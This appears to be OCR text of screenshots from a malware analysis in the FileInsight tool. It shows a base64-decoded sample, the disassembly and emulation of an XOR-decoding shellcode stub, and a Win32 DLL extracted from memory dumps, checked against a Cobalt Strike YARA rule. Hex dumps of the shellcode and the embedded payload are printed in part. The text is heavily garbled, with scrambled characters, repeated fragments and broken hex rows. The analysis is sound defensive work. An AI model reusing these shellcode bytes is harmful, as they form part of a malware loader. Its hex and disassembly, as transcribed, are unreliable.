Suppor	Parsing Binwa Search Disas Visualization File ty XOR Find I Check for update Parse Version info Show String String	alk scan 0 0 0 0 0 semble 0 0 0 0 0 pe 0 0 0 0 0 file structure 0 0 0 0 0 metadata 0 0 0 0 0 js 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 metadata 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	FC EB 00 00 00 00 EB 27 55 E8 HE 83 C6 04 88 16 1 V 1 1 0 Disassemble selector region CA 74 02 EB EA 5B FF E3 E8 1 9 t 1 0 Disassemble selector region CA 74 02 EB EA 5B FF E3 E8 1 9 t 1 1 9 t 0 40 05 97 A5 56 40 C2 2C B3 C1 01 A6 0B C1 0159 Ve Ve 7 Y 1 1 0 40 05 97 A5 56 40 C2 2C B3 C1 01 A6 0B C1 0159 Ve Ve , Y 1 1 0 40 05 97 A5 56 40 C2 2C B3 C1 01 A6 0B C1 0159 Ve Ve , Y 1 1 0 40 05 77 A5 56 40 C2 2C B3 C1 01 A6 0B C1 0159 Ve Ve , Y 1	
		Output		
Values Press F1 for I	Bookmarks I Calculator	Coutput Scr	ripting	Offset 0h (0) Length 0h (0) OV
,	=	N V %		tī [J ☜ ལ೫ ☵ ºº A O 8/7/2021 ↓



Ŭ ▼	FileInsight - Output of Custom base64 decode*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lugi	ns <u>W</u> indows He <u>l</u> p
Plugins	
Navigation 4	3d30ac25c3121e969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base64 decode* ×
Supported for HTML, OLEZ, PE and Flash. Image: Suppor	© 0000000 STC EB 00 00 00 00 EB 27 5E BB 1E 33 CG 04 8B 1G 'A 00000000 31 DA 83 CG 04 56 B0 EG 310 98 90 B3 1C 83 CG V 1 1 00000000 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [00000000 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [00000000 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [00000000 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [00000000 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [00000000 08 48 C2 D8 63 4C C2 2C E3 C1 01 AG D8 C1 01 55 VØ, X 00000000 5D 84 40 D8 33 E8 44 DB 33 68 40 D8 33 [6 64 D0 B3 [6 40 D8 3] E4 D0 B3 [6 64 D0 B3 [6 62 D C5 1B 14 00000000 9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 09 50 0F If N 2 j P 00000000 9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 09 50 0F If N 2 j P 000000000 9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 09 50 0F If N 2 j P 000000000 9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 09 50 0F J 2 W b] J J J J 000000000 9F AA 7C 66 FE C7 10 CS 4F F6 5D 48 25 30 62 J 1 W b] J+ Vb J 2 W b] J G 4 D 2 3 F 0 5D
Values Reekmarks - Calculater	
Press E1 for bein	
🕂 🖬 🗖 🎦 🤪 🗙	



												^
												П
												¥
												д
_								-	-	-		
												>
						0	ffset	0h (0)	Len	gth 0h	(0)	OVR
	-	Ċ,	2	\$ »)	팊	vm	А		5:01 8/7/	РМ 2021	Ļ]

♥ ▼		FileInsight - Disassembly*	
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	ins <u>W</u> indows H	le <u>l</u> ρ	
New Horizontal Tab Group New Vertical Tab Group Close All But This	Close File	Diesee	
Tabs	File	DISass	emp
Navigation 📍	3d30ac25c3121e969d	195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base6 🔍 🗦 🖘 Disassembly* ×	
Navigation Supported for HTML, OLE2, PE and Flash. Navigation Structures Decode Bookmarks P Navigation	00000000 00000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 000000000 00000100 00000120 </td <td>Particular A Hornov A Guidal chall indexer and A Hornov A Guidal chall have the average of the stress of the st</td> <td>esi] esi] ecx</td>	Particular A Hornov A Guidal chall indexer and A Hornov A Guidal chall have the average of the stress of the st	esi] esi] ecx
	<		
🖀 Values 🔁 Bookmarks 📰 Calculator	📃 Output 🛛 🖻 Scrip	pting	
Press F1 for help			
📹 🗄 📻 🏹 🍅 🗴	🜖 🔰 😪		

_

ð X



[FC]		^
[E8 00 00 00 00]		
[EB 27]		
[5E]		
[8B 1E]		
[83 C6 04]		
[8B 16]		
[31 DA]		
[83 C6 04]		
[56]		
[8B 0E]		
[31 D9]		
[89 OE]		
[31 CB]		
[83 C6 04]		
[83 EA 04]		
[31 C9]		
[39 CA]		
[74 02]		
[EB EA]		
[5B]		
[FF E3]		
[E8 D4 FF FF FF]		
[49]		
[5F]		
[/F FE]		
[49]		v
1531	>	

д

Ln 24 Col 266376 Len 266320 INS 電子 (小学校) 日本 (小学校) Ln 24 Col 266376 Len 266320 INS 5:01 PM (小学校) 日本 (小学校) Ln 24 Col 266376 Len 266320 INS 5:01 PM (小学校) 日本 (小学校) Ln 24 Col 266376 Len 266320 INS

♥ =	FileInsight - Disassembly*	
File Home Edit Search Plugins Windows Ho		
Deration Basic	Deobfuscating malware executable file	
Compression +	Deobruscating marware executable me	
Crypto 🔸	in the shellcode with code emulation	
Plugins Encoding		
Navigation Misc Emulate code 3121e969d1	95d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base64 4 F = × Disassembly* ×	
Supported Search Hash values 00000	FC Emulate selected region as an executable or shellcode 6 04 8B 16	cld
Visualization Send to (CLI)	31 With Quing Framework (the whole file if not selected) 1 CB 83 C6 1 V 1 1 0x1:	call 6
XOR Send to (GUI)	04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [0x6:	jmp 0x2f
Check for update	04 05 97 A5 56 40 C2 2C B3 C1 01 A6 D8 C1 01 59 V	pop esi
Version info 00000050	0B 48 C2 0E 63 4C C2 0E 63 1C 3D DE 0B EC 88 7C H CL C = 1 0xB.	add esi. 4
0000060	5D 84 8D 7C 5D 84 DD 83 8E 84 DD 83 8E 84 DD 83]]] 0xE:	mov edx, dword ptr [esi]
0000070	8E 84 DD 83 8E 84 DD 83 66 84 DD 83 68 9B 67 8D f h g 0x10:	xor edx, ebx
0000080	9Faa 7C 66 FF C7 5C 05 9Fa9 32 6a FB 89 50 0F 1 f 2 2 j P 0x12:	add esi, 4
0A000000	CB FB 25 61 EB 92 4B 41 AF DD 18 61 C2 B2 7C 04 %a KA a 0x15:	push esi
00000в0	EC BF 71 0E C8 BF 71 0E C8 BF 71 0E 31 B1 D8 62 q q q 1 b 0x16:	mov ecx, dword ptr [es1]
00000000	8C DE 1F 5D 31 B1 D8 62 8C DE 1F 5D 2F E3 5C 62]1 b]/ \b	mov dword ptr [esi], ecy
	$\begin{bmatrix} B5 & 8C & 9B & 5D & 16 & B1 & C9 & 62 & B8 & DE & 0E & 5D & 1B & E3 & 4A & 62 \\ DD & 8C & 9D & 5D & 47 & 25 & 31 & 62 & F5 & 4A & F6 & 5D & 4B & 25 & 30 & 62 \\ \end{bmatrix} \begin{bmatrix} D & B & B & B & C & B1 & B1 & C9 & 62 \\ DD & 8C & 9D & 5D & 47 & 25 & 31 & 62 & F5 & 4A & F6 & 5D & 1B & E3 & 4A & 62 \\ \end{bmatrix} \begin{bmatrix} D & B & B & C & B1 & C9 & 62 \\ DD & 8C & 9D & 5D & 47 & 25 & 31 & 62 \\ \end{bmatrix} \begin{bmatrix} D & B & B & C9 & 62 \\ DD & 8C & 9B & 5D & 16 & B1 & C9 & 62 \\ DD & 8C & 9B & 5D & 16 & B1 & C9 & 62 \\ \end{bmatrix} \begin{bmatrix} D & B & B & C9 & 62 \\ DD & 8C & 9B & 5D & 16 \\ DD & 8C & 9B & 5D & 16 & B1 & C9 & 62 \\ \end{bmatrix} \begin{bmatrix} D & B & B & C9 & 62 \\ DD & 8C & 9B & 5D & 16 \\ DD & 8C & 9B & 5D & 16 & B1 & C9 & 62 \\ \end{bmatrix} \begin{bmatrix} D & B & B & C9 & 62 \\ DD & 8C & 9B & 5D & 16 \\ DD & 8C & 9B & 10 \\ DD & 8C & 10 \\ DD & 10$	xor ebx, ecx
000000000	27 4A F7 5D 84 77 B9 62 8E 18 7E 5D 2D 25 2B 62 'J w b -8+b 0x1E:	add esi, 4
00000100	91 4A EC 5D 32 77 BA 62 8E 18 7D 5D DC 71 1E 35 J] 2w b] q 5 0x21:	sub edx, 4
00000110	61 1E D9 0A 61 1E D9 0A 61 1E D9 0A 61 1E D9 0A a a a a 0x24:	xor ecx, ecx
00000120	[61 1E D9 0A 31 5B D9 0A; 7D 5A DC 0A 3F 08 ED 5D a 1 [Z ?] 0x26:	cmp edx, ecx
00000140		je uzc imp 0x16
00000150	19 8A E5 7C 19 CA E7 7C 19 CA E7 6C 19 DA E7 6C 1 1 0x2C:	xde qoq
00000160	19 D8 E7 6C 1C D8 E7 6C 1C D8 E7 6C 19 D8 E7 6C 1 1 1 1 0x2D:	jmp ebx
00000170	19 D8 E7 6C 19 F8 E3 6C 19 FC E3 6C 62 08 E0 6C 1 1 1 1b 1 0x2F:	call 8
Navigation Structures D Decode	$60\ 08\ A0\ 6D\ 60\ 08\ B0\ 6D\ 70\ 08\ A0\ 6D\ 70\ E9\ A2\ 6D\ m$ m m m m m m m $0x34$:	dec ecx
Bookmarks 7 000001A0	21 E9 A2 6D F5 26 A0 6D 55 26 A0 6D 55 D6 A3 6D ! m & mU& mU m 0x35:	pop eai
000001B0	E1 D7 A3 6D m m m m m 0x38:	dec ecx
000001C0	E1 D7 A3 6D E1 D7 A7 6D 05 C0 A7 6D 75 83 A5 6D m m mu m 0v39.	nuch chy
Output		
<		
🖀 Values 🗖 Bookmarks 🗰 Calculator 🛛 🗐 Output 🗔 Scrip		
Press F1 for help		
💼 H; 🖿 🤜 🔥 刘 M 🛷		

ð X

```
[FC]
                          \mathbf{A}
[E8 00 00 00 00]
[EB 27]
[5E]
[8B 1E]
[83 C6 04]
[8B 16]
[31 DA]
[83 C6 04]
[56]
[8B 0E]
[31 D9]
[89 OE]
[31 CB]
[83 C6 04]
[83 EA 04]
[31 C9]
[39 CA]
[74 02]
[EB EA]
[5B]
[FF E3]
[E8 D4 FF FF FF]
[49]
[5F]
[7F FE]
[49]
[53]
                         >
```

Р

Offset 0h (0) Length 0h (0) OVR

뷳 🖞 🔌 🕼 🔛 🚾 A 🚺 🕺 5:02 PM 🖓

File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	jins <u>W</u> indows He <u>l</u> p
Plugins	
Javigation P	3d30ac25c3121e969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base6 4 ► 🖛 Disassembly* ×
Supported for HTML, OLE2, PE and Flash.	
	00000010 31 DA 83 C6 04 56 8B 0E 31 D9 89 0E 31 CB 83 C6 1 V 1 1 0x1: call 6
	00000020 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [0x6: jmp 0x2f
	00000030 D4 FF FF FF 49 5F 7F FE 49 53 7C FE 04 05 97 FE I_ISI 0x8: pop esi
	00000040 04 05 97 A5 56 40 C2 2C B3 C1 01 A6 D8 C1 01 59 V@, Y 0x9: mov ebx, dword ptr [esi]
	00000050 0B 48 C2 0E 63 4C C2 0E 63 1C 3D DE 0B EC 88 7C H CL C = 0xB: add esi, 4
	000000000 [5D 84 8D 7C 5D 84 DD 83 8E 84 DD 83 8E 84 DD 83 66 84 DD 83 68 9B 67 8D f b a 0xE: mov edx, dword ptr [esi]
	$\begin{array}{c} 000000080 \\ 082F 6E 40 49 97 6F 0C 84 B6 3B 64 ED C5 1B 14 h/n @I o ; d \\ 00000080 \\ 0x10: xor edx, ebx \\ 0$
	00000090 9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 89 50 0F f \ 2j P 0x12: add es1, 4
	000000A0 CB FB 25 61 EB 92 4B 41 AF DD 18 61 C2 B2 7C 04 % a KA a 0x16: push est
	$\begin{array}{c c c c c c c c c c c c c c c c c c c $
	000000000 8C DE IF 5D 3I BI D8 62 8C DE IF 5D 2F E3 5C 62]
	0000000E0 DD 8C 8D 5D 47 25 31 62 F5 4A F6 5D 48 25 30 62 JG%1b J 1H%0b 0x1C: xor ebx, ecx
	000000F0 27 4A F7 5D 84 77 B9 62 8E 18 7E 5D 2D 25 2B 6 Fourier add and a si, 4
	00000100 91 4A EC 5D 32 77 BA 62 8E 18 7D 5D DC 71 1E 3
	00000110 61 1E D9 0A 61 1E D9 0A 61 1E D9 0A 61 1E D9 0I File type: 0x24: xor ecx, ecx
	00000120; 61 1E D9 0A 31 5B D9 0A;7D 5A DC 0A 3F 08 ED 51 000000120; 3E 08 ED ED 2E 08 ED ED DE 08 EE 70 DE 08 EE 71 05 Windows
	00000150 19 8A E5 7C 19 CA E7 7C 19 CA E7 6C 19 DA E7 6
	00000160 19 D8 E7 6C 1C D8 E7 6C 1C D8 E7 6C 19 D8 E7 6C 19 D8 E7 6C Emulation timeout 0x2D: jmp ebx
	00000170 19 D8 E7 6C 19 F8 E3 6C 19 FC E3 6C 62 08 E0 6 (seconds, 0 = no timeout): 00 - 0x2F: call 8
🕸 Navigation 🛛 🐋 Structures 🛛 Decode	00000180 60 08 A0 6D 60 08 B0 6D 60 18 B0 6D 60 18 A0 61 0x34: dec ecx
Bookmarks 4	00000140 21 F9 A2 6D F5 26 A0 6D 55 26 A0 6D 55 D6 A3 6U C U A U A U A U A U A U A U A U A U A
	000001B0 E1 D7 A3 6D M m m m m m m m m m m m m m m m m m m
	- 000001C0 E1 D7 A3 6D E1 D7 A7 6D 05 C0 A7 6D 75 83 A5 6D m m mu m 0x38: dec ecx
Oxdf end of disassembly b〉訣]G%1b・H%	000001D0 69 83 A5 6D 69 83 A5 6D 69 83 A5 6D 69 83 A5 6D i mi mi mi mi m
	Output
🚰 Values 🛛 🔁 Bookmarks 🛛 📰 Calculator	E Output Scripting
ress F1 for help	
🖶 🛱 📻 🇺 龄 🔉	

FileInsight - Disassembly*

o X

```
[FC]
                           \mathbf{A}
[E8 00 00 00 00]
[EB 27]
[5E]
[8B 1E]
[83 C6 04]
[8B 16]
[31 DA]
[83 C6 04]
[56]
[8B 0E]
[31 D9]
[89 OE]
[31 CB]
[83 C6 04]
[83 EA 04]
[31 C9]
[39 CA]
[74 02]
[EB EA]
[5B]
[FF E3]
[E8 D4 FF FF FF]
[49]
[5F]
[7F FE]
[49]
[53]
                         >
```

Р

Offset 0h (0) Length 0h (0) OVR

號 🖞 🔌 🕼 🔛 🚾 A 🖸 🕺 5:02 PM 🖓 🖓

D 1			FileInsight - Disassembly*
File <u>H</u> ome	<u>E</u> dit <u>S</u> earch	<u>P</u> lugins	<u>W</u> indows He <u>l</u> p
Operations			
Diveries			
Navigation		ц,	d20a-25-2121-060d105d7aadef1 X New file 0* X Output of Curtom bacef4 decode* X New file 1* X Output of Curtom bacef4 decode* X Emulation taxes* X
X Supported for HT	ML, OLE2, PE and Flash		Provide to the second decode a new net a couple of custom based decode a new net a couple of custom based decode a memory dump of a memory dump o
Navigation Bookmarks Image: Constraint of the second sec	Structures Decod		<pre>Profile: Default Profile: Default P</pre>
H H	🖬 🏹 📦	1	



– 0 ×

^

>

>

Memory dump 2*

isassembly*

ation trace

Ln 1 Col 0 Len 0 INS 電 🖞 🔌 🕼 🖬 🚾 A 🖸 8/7/2021 💭

7	FileInsight - Disassembly*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u>	lugins <u>W</u> indows He <u>l</u> p
Operations	
Plugins	
Navigation	4 3d30ac25c3121e969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base64 decode* × Emulation trace* × Memory dump 0* × Memory dump 1* ×
Image: Structures D Decode Bookmarks Image: Structures Image: Structures	<pre>1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1</pre>
	Output
	OS: Windows Architecture: x86 Big endian: false Command line arguments: Timeout: 60 Added bookmarks to the region of the memory dumps that contain non-zero value. Emulation trace is shown in the new "Emulation trace" tab. Memory dumps after execution are shown in the new "Memory dump" tabs.
🚰 Values 🛛 🔁 Bookmarks 🔠 Calculator	🔄 Output 📴 Scripting
🖶 H 📻 🏹 🍅	

-

ð ×

	_
Memory dump 2* × Disassembly* × ₫ ▷ •	• ×
2", cchWideChar = 0x1c, lpMultiByteStr = hook_winapi	^
py", line 91, in hook_GetModuleFileNameA elly due to eFileNameA)	
	~
	ф
	^
	~

Ln 1 Col 0 Len 0 INS 電子 (小学校) 日本 (小学校) Col 0 Len 0 INS 5:03 PM 8/7/2021

∀ ▼	FileInsight - Disassembly*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lu	<mark>gins <u>W</u>indows He<u>l</u>p</mark>
Operations	
Pluging	
Navigation 7	3d30ac25c3121e969d195d7eadcf1 X New file 0* X Output of Custom base64 decode* X New file 1* X Output of Custom base64 decode* X Emulation trace* X Memory dump 0* X Memory dump 1* X
Supported for HTML, OLE2, PE and Flash.	
Navigation Structures Decode Bookmarks 7	<pre>Memory map: [=] Start End Perm Label Image [=] 00006000 - 00001000 rvx [G27] [=] 00006000 - 00001000 rvx [G27] [=] 0000000 - 00001000 rvx [Hap] [=] 0000000 - 0000000 rvx [F3/G3] [=] 0000000 - 1013000 rvx [F3/G3] [=] 10100000 - 1013000 rvx [F3/G3] [=] 1010000 - 1014000 rvx [F3/G3] [=] 1014000 - 1042000 rvx [F3/G3] [=] 1049000 - 1062000 rvx [F3/G3] [=] 104900 rvx [F3/G3] [=] 1049000 - 1062000 rvx [F3/G3] [=]</pre>
Values Rookmarks	
🔳 H: 🖿 🔽 📣	



.dll 11 .dll d11 1 1



– 0 ×

^

		FileInsight - Emulation trace*
File <u>H</u> ome <u>E</u> dit <u>S</u> e	earch <u>P</u> lugins	<u>W</u> indows He <u>l</u> p
Operations		
Pluging		
Navigation	4 :	130ac25c3121e069d195d7eadcf1 X New file 0* X Output of Custom base64 decode* X New file 1* X Output of Custom base64 decode* X Emulation trace* X Memory dump 0* X
Supported for HTML, OLE2, PE a Image: Navigation Image: Structures Bookmarks Image: Structures Image: Note the structures Image: Structures Image: Structures Image: Structures	D Decode	OCONCISCION Image: Constraint of the second se
		OS: Windows Architecture: x86 Big endian: false Command line arguments: Timeout: 60 Added bookmarks to the region of the memory dumps that contain non-zero value. Emulation trace is shown in the new "Emulation trace" tab. Memory dumps after execution are shown in the new "Memory dump" tabs.
🚰 Values 🛛 📑 Ookmarks	Calculator	a Output Scripting
	-	



ð X

 \mathbf{A}

be run in DOS mory dump 0. e file seems to be

ould be at the missing.

> Offset 0h (0) Length 0h (0) OVR 뷳 🗓 🛰 Ф》 🔛 🔤 A 🖸 5:04 PM 🖓 💭

>

	3d30ac25c3121e969d19	95d7eadcf1 × New file 0*	× Output of Custom	base64 decode* × N	lew file 1* × Outp	out of Custom base64 o	lecode* × Emulation trac	e* × Memory dump 0* × Memory dum
ted for HTML, OLE2, PE and Flash.	00000000 0000000 0000003D 0000003D 00000050 00000050 00000060 00000080 00000080 00000080 00000080 000000	FC E8 00 00 00 00 31 DA 83 C6 04 56 04 83 EA 04 31 C9 D4 FF FF FF 49 5F 00 00 00 5B 52 45 D3 89 C3 57 68 04 56 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	EB 27 5E 8B 1E 8B 0E 31 D9 89 39 CA 74 02 EB 7F FE 49 53 7C 55 89 E5 81 C3 00 00 00 50 FF 50 FF D3 00 00 00 00 E8 00 00 01 4C CD 21 54 20 63 61 6E 6E 6E 20 44 4F 53 00 00 00 00 00 C7 3F BD 6F C7 9C 3F B2 6F C 7 9C 3F B2 6F C 7 9C 3F B2 6F C 7 9C 3F B2 6F C 7	83 C6 04 8B 16 0E 31 CB 83 C6 EA 5B FF E3 E8 FE 4D 5A 8 00 8A 6B 00 00 FF D0 68 F0 B5 A2 00 00 00 00 00 00 0E 1F BA 0E 68 69 73 20 70 6F 74 20 62 65 20 6D 6F 64 65 00 F9 0E A9 6C 3F A3 3D 43 3F 3F A3 3D 43 3F 3F A3 3D 44 3F 3F BD 6F C6 3F 3F A3 3D 55 3F 3F 52 69 63 68 00 00 00 00 00 00 42 52 31 57 21 0B 01 09 00 00 CD 67 01 00 10 00 10 00 00	1 V 1 1 9 t I 9 t I 1 9 t I I 1 9 t I I 1 9 t I V 1 I 2 1 (REU Wh Vh P ! L rogram ca run in D . \$ 0 ? 0 ? 0 ? = R? 0 ? 0 ? 0 ? = N? 0 ? PE L * @	I 1 I I I I I I I I I I I I I I	Manu	ally adding "MZ
tion ፼ Structures D Decode ቑ .^^+0⊡•	00000170 00000180 00000190 000001A0 000001B0 000001C0 000001D0	00 00 00 00 00 00 20 02 00 40 01 00 00 00 10 00 00 00 00 51 00 00 00 00 00 00 54 01 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 00 00 00	04 00 00 04 00 10 00 00 10 00 00 00 10 00 00 02 00 A0 00 00 00 00 00 00 00 04 00 E4 17 00 00 00 00 00 00	00 7B F4 03 00 00 00 00 10 00 00 00 E1 02 00 00 00 F0 03 00 00 00 00 00 00 00 70 43 02 00 00 00 00 00 00	Q	{ pC		
	Output	100000000000000						
					_			
	OS: Windows Architectur Big endian: Command lir Timeout: 60 Added bookm Emulation t Memory dump	s re: x86 : false ne arguments:) marks to the regi trace is shown in ps after executio	on of the memo the new "Emul n are shown in	ory dumps that Lation trace" h the new "Mem	contain nor tab. ory dump" ta	n-zero value. abs.		

FileInsight - Disassembly*

₽ 🗉



-

ð X

Memory du	ımp 2*	×	Disa	asser	nbly	* ×								×
													1	^
													1	
	_	-	-	-	-	-	-	-	_	_	_	-		-
_	-	-	-	-	-	-	-	-	-	-	-	-		ф
														~
													>	Ý
							Offs	et 3D	h (61)	Ler	ngth 0	h (0)	0\	/R
		-	Ö,	-	\$ >)	即	vm	А		5:0 8/7	8 PM /2021	ς	כ	
										0,1				





ب الالتفاد الماليمان الماليمان الماليمان الماليمان الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد الالتفاد المالمام المالممام الممام المالممام المالممام الممام المالممام المالمما	Memory dump 2'	×	Disasse	embly*	×			4 ۵	- ×
۹ Offset 3Dh (61) Length 0h (0) OVR									^
for the sub- for t									
ffset 3Dh (61) Length 0h (0) OVR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
۹ ۹ ۹ Offset 3Dh (61) Length Oh (0) OVR									
ب ب Offset 3Dh (61) Length Oh (0) OVR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
م ج Offset 3Dh (61) Length 0h (৩) OVR									
ب ب Offset 3Dh (61) Length 0h (0) VR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
ب ب Offset 3Dh (61) Length 0h (0) OVR									
ب ب Soffset 3Dh (61) Length 0h (0) OVR									
۵ Offset 3Dh (61) Length 0h (0) OVR									~
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR	_	-	-	-	-	-	-	-	-
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR									
Offset 3Dh (61) Length 0h (0) OVR									
					Offset	3Dh (61)	Length ()h (0)	OVR

8/7/2021

ion P	3d30ac25c3121e969d19	95d7eadcf1 × New file 0* 3	< Output of Custom ba	se64 decode* × N	lew file 1* × Ou	Itput of Custom base	=64 decode* × Emulation trace* × Memory dump 0* × Memory dump 1*
rigation ISS Structures Decode rks 早	00000000 0000000 000003D 000003D 00000050 00000050 00000000 00000000 000000	FC E8 00 00 00 00 E 31 DA 83 C6 04 56 8 04 83 EA 04 31 C9 3 D4 FF FF FF 49 57 7 00 00 00 58 52 45 5 D3 89 C3 57 68 04 0 56 68 05 00	B 27 5E 8B 1E 8 B 0E 31 D9 89 00 9 CA 74 02 EB E F FE 49 53 7C F 5 89 E5 81 C3 80 0 00 00 50 FF D 0 FF D3 00 00 00 0 FF D3 00 00 00 0 FF D3 00 00 00 0 63 61 6E 6E 6 E 20 44 4F 53 2 0 00 00 00 00 00 2 3F BE 6F C7 3 6 3F BC 6F C7 3 0 00 00 00 00 00 00 0 00 00 00 00 00 00	3 C6 04 8B 16 2 31 CB 83 C6 A 5B FF E3 E8 4 4 5A E8 00 A 6B 00 00 FF 0 68 F0 B5 A2 0 00 00 00 00 0 68 F0 B5 A2 0 00 00 00 00 0 01 1F BA 0E 8 69 73 20 70 F 74 20 62 65 0 60 6F 64 65 0 F 73 3D 43 3F F A3 3D 43 3F F A3 3D 55 3F F 52 69 63 68 0 00 00 00 00 0 42 52 31 57 1 0B 01 09 00 0 05 00 00 00 0 05 00 00 00 0 07 F4 03 00 0 00 00 10 00 0 00 00 10 00 0 00 00 10 00 0 00 00 10 00 0 00 00 10 00 0 00 00 10 00 0 00 00 10 00 0 00 00 10 00 0 00 00 00 00 0 00 00 00 00 0 00 00 00 00	1 V 1 9 1 [REU Wh Vh P ! I rogram of run in 0 ? 0 ? 0 ? = R? 0 ? = R? 0 ? = R? 0 ? = V? 0 ? = V? 0 ? PE * 0 Q	<pre>^ 1 1 t [IS MZ</pre>	The file is Win32 DLL fi region of the file is boo based on PE header inf
	Output						
	Win32 DLL f 1 PE file(s Added bookn	found at offset 0x: s) found from the m mark(s) to the foun	8c size 199680 whole file. nd PE file(s).	bytes.			

FileInsight - Disassembly*

₽ 👎



-

ð X

^

Memory dump 2'

sassembly*

and the marked rmation

ф

Offset 3Dh (61) Length 0h (0) OVR

the the second second





đ

Memory dump 2*	× Disas	sembly*	×		< ▷ -	- ×
						^
						~
						Ą
_						
						>
		0/5 13	ch (60)	Langeth 200001 (1000		
		Offset 3	Ch (60)	Length 30C00h (1996	80) [(08	JVR

the construction of the second seco



∀ ₹	FileInsight - apt_cobalts	rike.yar — 🗇 🗙
File <u>H</u> ome <u>E</u> dit <u>S</u> e	earch <u>Plugins W</u> indows He <u>l</u> p	
■ Operations Basic Compression Crypto Plugins Encoding	<pre>h h h h h h h h h h h h h h h h h h h</pre>	
Navigation Misc	969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base64 decode*	🗴 Emulation trace* 🗙 Memory dump 0* 🗙 Memory dump 1* 🗙 Memory dump 2* 🗙 Disassembly* 🗙 New file 2* 🗙 apt_cobaltstrike.yar 🗙 4 🖛
New file 2 Search Visualization XOR Visualization XOR Visualization XOR Visualization XOR Visualization XOR Visualization XOR Version info Version info Version info Version info	Regex extraction Regex search Redate 000 4D 5A E8 00 00 00 5B 52 45 55 89 E5 81 C3 8A 6B 00 00 FF D3 89 C3 57 68 04 00 00 00 50 FF D0 68 F0 B5 A2 56 68 05 00 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00	Extracted DLL file
	Output	
Walues ■ Bookmarks ■ 0	Calculator Image: Scripting	
ress F1 for help		Offset 0h (0) Length 0h (0) OVR
🖶 H 📑 🎦		

₩ 🖛



File <u>H</u> ome <u>E</u> dit <u>S</u> earch	lugins <u>W</u> indows He <u>l</u> p
➢ Operations	
Plugins	
avigation	¹ 969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base64 decode* × Emulation trace* × Memory dump 0* × Memory dump 1* × Memory dump 2*
New file 2	00000000 4D 5A E8 00 00 00 5B 52 45 55 89 E5 81 C3 8A MZ [REU
- Sections	00000010 6B 00 00 FF D3 89 C3 57 68 04 00 00 00 50 FF D0 k Wh P
.text Execute	
···· · .rdata	00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
······································	00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
,reloc	00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
KEPNEL32 dll 124 Eurotions	00000070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode. \$
ADVAPI32.dll 32 Functions	
WININET.dll 10 Functions	$\begin{array}{c} 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 $
